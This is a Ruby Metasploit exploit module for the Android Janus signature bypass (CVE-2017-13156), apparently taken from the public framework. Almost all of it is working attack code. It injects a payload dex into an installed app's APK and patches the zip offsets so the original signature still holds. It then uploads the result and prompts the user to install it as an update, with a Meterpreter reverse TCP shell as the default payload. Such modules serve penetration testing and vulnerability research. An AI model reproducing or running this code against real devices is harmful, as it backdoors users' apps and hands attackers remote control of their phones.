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##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
require 'msf/core/payload/apk'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ManualRanking  
  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
include Msf::Post::Android::Priv  
include Msf::Payload::Android  
  
def initialize(info={})  
super( update_info( info, {  
'Name' => "Android Janus APK Signature bypass",  
'Description' => %q{  
This module exploits CVE-2017-13156 in Android to install a payload into another  
application. The payload APK will have the same signature and can be installed  
as an update, preserving the existing data.  
The vulnerability was fixed in the 5th December 2017 security patch, and was  
additionally fixed by the APK Signature scheme v2, so only APKs signed with  
the v1 scheme are vulnerable.  
Payload handler is disabled, and a multi/handler must be started first.  
},  
'Author' => [  
'GuardSquare', # discovery  
'V-E-O', # proof of concept  
'timwr', # metasploit module  
'h00die', # metasploit module  
],  
'References' => [  
[ 'CVE', '2017-13156' ],  
[ 'URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures' ],  
[ 'URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156' ],  
],  
'DisclosureDate' => 'Jul 31 2017',  
'SessionTypes' => [ 'meterpreter' ],  
'Platform' => [ 'android' ],  
'Arch' => [ ARCH_DALVIK ],  
'Targets' => [ [ 'Automatic', {} ] ],  
'DefaultOptions' => {  
'PAYLOAD' => 'android/meterpreter/reverse_tcp',  
'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission  
'DisablePayloadHandler' => true,  
},  
'DefaultTarget' => 0,  
'Notes' => {  
'SideEffects' => ['ARTIFACTS_ON_DISK', 'SCREEN_EFFECTS'],  
'Stability' => ['SERVICE_RESOURCE_LOSS'], # ZTE youtube app won't start anymore  
}  
}))  
register_options([  
OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']),  
])  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
]  
end  
  
def check  
os = cmd_exec("getprop ro.build.version.release")  
unless Gem::Version.new(os).between?(Gem::Version.new('5.1.1'), Gem::Version.new('8.0.0'))  
vprint_error "Android version #{os} is not vulnerable."  
return CheckCode::Safe  
end  
vprint_good "Android version #{os} appears to be vulnerable."  
  
patch = cmd_exec('getprop ro.build.version.security_patch')  
if patch.empty?  
print_status 'Unable to determine patch level. Pre-5.0 this is unaccessible.'  
elsif patch > '2017-12-05'  
vprint_error "Android security patch level #{patch} is patched."  
return CheckCode::Safe  
else  
vprint_good "Android security patch level #{patch} is vulnerable"  
end  
  
CheckCode::Appears  
end  
  
def exploit  
  
def infect(apkfile)  
unless apkfile.start_with?("package:")  
fail_with Failure::BadConfig, 'Unable to locate app apk'  
end  
apkfile = apkfile[8..-1]  
print_status "Downloading APK: #{apkfile}"  
apk_data = read_file(apkfile)  
  
begin  
# Create an apk with the payload injected  
apk_backdoor = ::Msf::Payload::Apk.new  
apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false)  
  
# Extract the classes.dex  
dex_data = ''  
Zip::File.open_buffer(apk_zip) do |zipfile|  
dex_data = zipfile.read("classes.dex")  
end  
dex_size = dex_data.length  
  
# Fix the original APKs zip file code directory  
cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06")  
cd_start_addr = apk_data[cd_end_addr+16, cd_end_addr+20].unpack("V")[0]  
apk_data[cd_end_addr+16...cd_end_addr+20] = [ cd_start_addr+dex_size ].pack("V")  
pos = cd_start_addr  
while pos && pos < cd_end_addr  
offset = apk_data[pos+42, pos+46].unpack("V")[0]  
apk_data[pos+42...pos+46] = [ offset+dex_size ].pack("V")  
pos = apk_data.index("\x50\x4b\x01\x02", pos+46)  
end  
  
# Prepend the new classes.dex to the apk  
out_data = dex_data + apk_data  
out_data[32...36] = [ out_data.length ].pack("V")  
out_data = fix_dex_header(out_data)  
  
out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric 6}.apk"  
print_status "Uploading APK: #{out_apk}"  
write_file(out_apk, out_data)  
register_file_for_cleanup(out_apk)  
print_status "APK uploaded"  
  
# Prompt the user to update the APK  
session.appapi.app_install(out_apk)  
print_status "User should now have a prompt to install an updated version of the app"  
true  
rescue => e  
print_error e.to_s  
false  
end  
end  
  
unless [CheckCode::Detected, CheckCode::Appears].include? check  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if datastore["PACKAGE"] == 'ALL'  
vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)')  
apkfiles = []  
all = cmd_exec("pm list packages").split("\n")  
c = 1  
all.each do |package|  
package = package.split(':')[1]  
vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}")  
c += 1  
next if ['com.metasploit.stage', # avoid injecting into ourself  
].include? package # This was left on purpose to be expanded as need be for testing  
result = infect(cmd_exec("pm path #{package}"))  
break if result  
end  
else  
infect(cmd_exec("pm path #{datastore["PACKAGE"]}"))  
end  
end  
end